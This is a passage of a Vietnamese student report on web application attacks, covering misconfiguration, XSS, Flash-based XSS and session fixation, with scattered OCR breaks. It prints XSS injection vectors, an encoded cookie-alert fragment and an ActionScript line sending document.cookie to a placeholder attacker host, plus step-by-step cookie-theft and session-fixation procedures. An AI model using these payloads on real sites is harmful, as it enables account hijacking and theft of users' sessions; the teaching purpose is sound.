vá lỗi bảo mật mới nhất.Lỗi trên phần mềm web hosting máy chủ cho phép liệt kê bất kỳ thư mục (hoặc tập tin) nào trong hệ thống

 Những tập tin mặc định, tập tin tạo ra để test như script, tập tin cấu hình không được xóa đi trong thư mục của trang web Những tập tin này thường

có độ bảo mật yếu và có thể chứa những thông tin quan trọng

 Không phân đúng quyền cho các thư mục và tập tin trong trang web

 Những chức năng quản lý và debug được triển khai không cần thiết

 Phần mềm web server đăng quá nhiều thông tin trong trang báo lỗi

 Cấu hình SSL và các hàm mã hóa không đúng

Trang 20

AT6A-Học viện kỹ thuật mật mã Page 20

CHƯƠNG III: PHÂN LOẠI CÁC TẤN CÔNG WEB VÀ ỨNG DỤNG

Ứng dụng thường được triển khai bên trong hệ thống bảo vệ chu vi mạng với các thiết bị bảo vệ truyền thống như tường lửa,hệ thống phát hiện và phòng chống truy nhập trái phép (IDS/IPS) Các tấn công wed ở tầng ứng dụng khai thác các điểm yếu do sự bất cẩn và sai sót của người lập trình ứng dụng

Dựa trên kiến trúc các ứng dụng wed,các tấn công ứng dụng wed có thể mđược phân loại dựa theo lỗ hổng trên từng lớp của ứng dụng như sau:

3.1 Tấn công máy chủ Web

Các tấn công này dựa trên lỗ hổng của hệ điều hành máy chủ chứa ứng dụng web, gồm:

 Tấn công unicode,printer ISAPI trên máy chủ Microsoft IIS

 Tấn công tràn bộ nhớ đệm trên máy chủ Apache

3.2 Tấn công các lỗ hổng liên quan đến vấn đề quản trị Web

Các tấn công này khai thác các điểm yếu do lỗi người quản trị wed,cấu hình trang wed thiếu an toàn gồm:

 Kiểm tra tập tin thông thường( Common File Checks)

 Kiểm tra đuôi tập tin (Extension checking)

 Kiểm tra dữ liệu( Data Extension Checking)

 Kiểm tra dữ liệu back up (Back up Checking)

 Liệt kê nội dung thư mục (Directory Enumeration)

 Kiểm soát đường dẫn (Path Truncation)

 Đường dẫn wed ẩn (Hidden wed paths)

 Cấu hình sai SSL

 Cấu hình sai HTTP

 Cấu hình sai cơ chế xác thực

3.3 Tấn công dựa trên lỗ hổng tầng ứng dụng Web

Các tấn công này dựa trên các điểm yếu trong mã nguồn và logic của ứng dụng bao gồm:

Trang 21

AT6A-Học viện kỹ thuật mật mã Page 21

 Mất cắp thông tin chủ thể

 Lỗi do SQL Injection

Trang 22

AT6A-Học viện kỹ thuật mật mã Page 22

CHƯƠNG IV: MỘT SỐ TẤN CÔNG VÀO CÁC ĐIỂM YẾU QUAN

TRỌNG

4.1 LỖI CROSS SITE SCRIPTING (XSS)

4.1.1 Mô tả việc khai thác

Như phân tích ở chương II, điểm yếu XSS là một điểm yếu mà cho đến hiện nay

đa số các website việt nam và thế giới chưa có một biện pháp triệt để để có thể ngăn chặn được từ các tấn công bên ngoài thông qua điểm yếu này

Về bản chất XSS là kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, ) các thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho người sử dụng khác

Khi một trang web bị nhúng mã độc, những đoạn mã này sẽ được thực thi ở máy của người dùng gây tác hại cục bộ, hoặc có thể lấy các thông tin như cookie lưu ở trang web đó chuyển về cho tin tặc Các đoạn mã này được thực thi với quyền của trang web nạn nhân, nên loại bỏ được một số kiểm soát truy cập (như chứng thực nguồn gốc) Em

sẽ phân tích và làm rõ hơn điểm yếu nguy hiểm này trong phần sau đây

Phương pháp tấn công dựa vào XSS không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng

Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân

hay là:

t%3Ealert%28document.cookie%29%3C%2Fscript%3E

Trang 23

AT6A-Học viện kỹ thuật mật mã Page 23

Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân Trong những ví dụ trên, hầu hết những tiền tố URL là địa chỉ của những ứng dụng Web có thật (VD: http://www.microsoft.com/education,

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/ ) lợi dụng cách truyền tham số trên URL mà hacker có thể dễ dàng thêm vào đoạn mã đánh cắp cookie

Ví dụ trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng Sau đây là danh sách nơi có thể chèn đoạn mã:

<a href="javas&#99;ript&#35;[code]"><div onmouseover="[code]">

<div style="background-image: url(javascript:[code]);">

<div style="behaviour: url([liên kết to code]);">

<div style="binding: url([liên kết to code]);">

Trang 24

AT6A-Học viện kỹ thuật mật mã Page 24

<div style="width: expression([code]);">

4.1.2 Phương pháp tấn công XSS truyền thống

Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẩu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó

Các bước thực hiện XSS truyền thống

 Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có

lỗ hỏng XSS

 Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…) Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như ― Kiểm tra tài khoản‖, ―Một phần thưởng hấp dẫn đang chờ bạn‖…

 Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker

 Bước 4: Hacker tạo một chương trình CGI (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

 Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sửdụng để thâm nhập vào tài khoản của người dùng

4.1.3 Tấn công bằng XSS Flash

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dựng sẵn trong Flash là ActionScript ActionScript có cú pháp đơn giản và tương tự như JavaScript, C hay PERL Ví dụ hàm getURL() dùng để

Trang 25

AT6A-Học viện kỹ thuật mật mã Page 25

gọi một trang web khác, tham số thường là một URL chẳng hạn như

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc: getURL(―javascript:location(‗http://www.attacker.com?newcookie=‘+do

cument.cookie)‖)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker

Hình 11 Cách viết Action Scipt trong Flash

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem Vì thế hacker có thể ăn cắp cookie của các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các nạn nhân xem tập tin flash đó Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình bày trong ví dụ

ở trên:

Trang 26

AT6A-Học viện kỹ thuật mật mã Page 26

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này, bằng cách nhập đoạn mã gọi tập tin flash vào

<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf">

<PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

Trang 27

AT6A-Học viện kỹ thuật mật mã Page 27

4.1.4 Tấn công chiếm phiên làm việc

4.1.4.1 Tổng quan về SessionID

Như đã đề cập ở chương II, Session dùng để lưu trữ trạng thái làm việc giữa trình duyệt và trình chủ Session ID có thể được lưu trữ trong cookie hay được nhúng vào địa chỉ URL hay trong biến ẩn của form

Mỗi kiểu lưu trữ đều có ưu và khuyết điểm, nhưng qua thực tế cookie vẫn là lựa chọn tốt nhất, và là phương pháp an toàn nhất

Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá nhân như tên/mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho những lần yêu cầu tiếp theo Điều này đã khiến cho Session ID là mục tiêu lớn cho những hacker Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người dùng để

từ đó đột nhập vào phiên làm việc của họ

Đây cũng là một loại tấn công XSS, nó còn được gọi là session hacking

Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu chính sau:

a Ấn định phiên làm việc

Trong kiểu tấn công ấn định một phiên làm việc, hacker ấn định sẵn session ID cho nạn nhân trước khi họ đăng nhập vào hệ thống Sau đó, hacker sẽ sử dụng session ID này để buớc vào phiên làm việc của nạn nhân đó

Tóm tắt quá trình tấn công:

 Bước 1: Thiết lập session ID

Hệ thống quản lí session theo 2 hướng:

 Hướng tự do: chấp nhận bất kì một session ID, nếu chưa tồn tại session thì tạo mới một session ID

 Hướng giới hạn: chỉ chấp nhận session ID nào đã đăng kí trước đó Với hệ thống hướng tự do hacker chỉ cần thiết lập một session ID bất kì, nhớ và sau đó sử dụng lại session ID này Ở hướng giới hạn, hacker phải đăng kí một session ID với ứng dụng

Phụ thuộc vào qui trình quản lí phiên làm việc mà hacker lưu trữ thời gian sống của phiên làm việc cho đến khi nạn nhân đăng nhập vào hệ thống Thông thường một phiên làm việc không tồn tại vô hạn định Hệ thống sẽ tự động hủy bỏ phiên làm việc nếu nó không thực hiện một thao tác nào (thời gian nhàn rỗi ) hoặc hết hạn định

Trang 28

AT6A-Học viện kỹ thuật mật mã Page 28

Do đó bước kẻ tấn công sẽ bảo trì phiên làm việc bằng cách gửi yêu cầu đến server

 Bước 2: Gửi ID này đến trình duyệt nạn nhân

Hacker gửi session ID vừa tạo đến người dùng và việc trao đổi ID session còn tùy vào ứng dụng mà có thể qua URL, biến ẩn form hay cookie Các cách tấn công thông dụng gồm:

 Tấn công session ID trên tham số URL

 Tấn công session ID bằng biến ẩn form

 Tấn công session ID trong cookie

 Bước 3: Đột nhập vào phiên làm việc của nạn nhân

Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định sẵn

và chưa thoát khỏi ứng dụng, hacker lúc này bắt đầu dùng session ID đó để bước vào phiên làm việc của nạn nhân

4 Người dùng bị mắc lừa và mở ứng dụng Web bằng liên kết của hacker Do

đã có session ID (của hacker) nên trình chủ sẽ không tạo một session

ID mới

5 Người dùng vẫn tiếp tục đăng nhập với thông tin của mình để quản lý tài khoản

Ngày đăng: 28/08/2017, 18:06

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w